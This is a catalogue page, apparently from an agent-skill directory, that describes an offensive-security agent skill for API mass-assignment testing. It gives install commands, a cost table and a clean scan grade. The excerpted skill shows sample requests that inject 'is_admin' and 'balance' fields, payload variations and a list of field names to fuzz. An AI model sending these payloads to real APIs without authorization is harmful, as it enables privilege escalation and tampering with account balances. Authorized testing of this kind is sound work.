Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/mass-assignment-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00047 | $0.01444 |
| Opus 5 | $0.00023 | $0.00722 |
| Sonnet 5 | $0.00009 | $0.00289 |
| Haiku 4.5 | $0.00005 | $0.00144 |
Grade A, and why
mass-assignment-exploitation scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 157 lines — stays where its author put it; the contents beside it link to each section on GitHub.
API Mass Assignment Exploitation
When to Use
- When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
- To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Object Inspection
# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer <token>
# Response {
"id": 123,
"username": "tester",
"email": "[email protected]",
"is_admin": false,
"balance": 0.00
}
Phase 2: Injecting Hidden Fields in PUT/POST Requests
# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer <token>
{
"username": "tester2",
"is_admin": true,
"balance": 9999.00
}
Phase 3: Bypassing Filters using Payload Variations
// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }
Phase 4: Fuzzing for Hidden Fields
If the response doesn't leak internal field names, fuzz using common patterns.
# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
Decision Point 🔀
flowchart TD
A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
B -->|Yes| C[Re-inject in POST/PUT ]
B -->|No| D[Fuzz Common Hidden Fields ]
C --> E[Verify Update/PrivEsc ]
🔵 Blue Team Detection & Defense
- Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts | Concept | Description | |---------|-------------|
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 157 lines · 47 tokens per session scan A 5d53297024b3
mass-assignment-exploitation is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 47 tokens to every session and 1,444 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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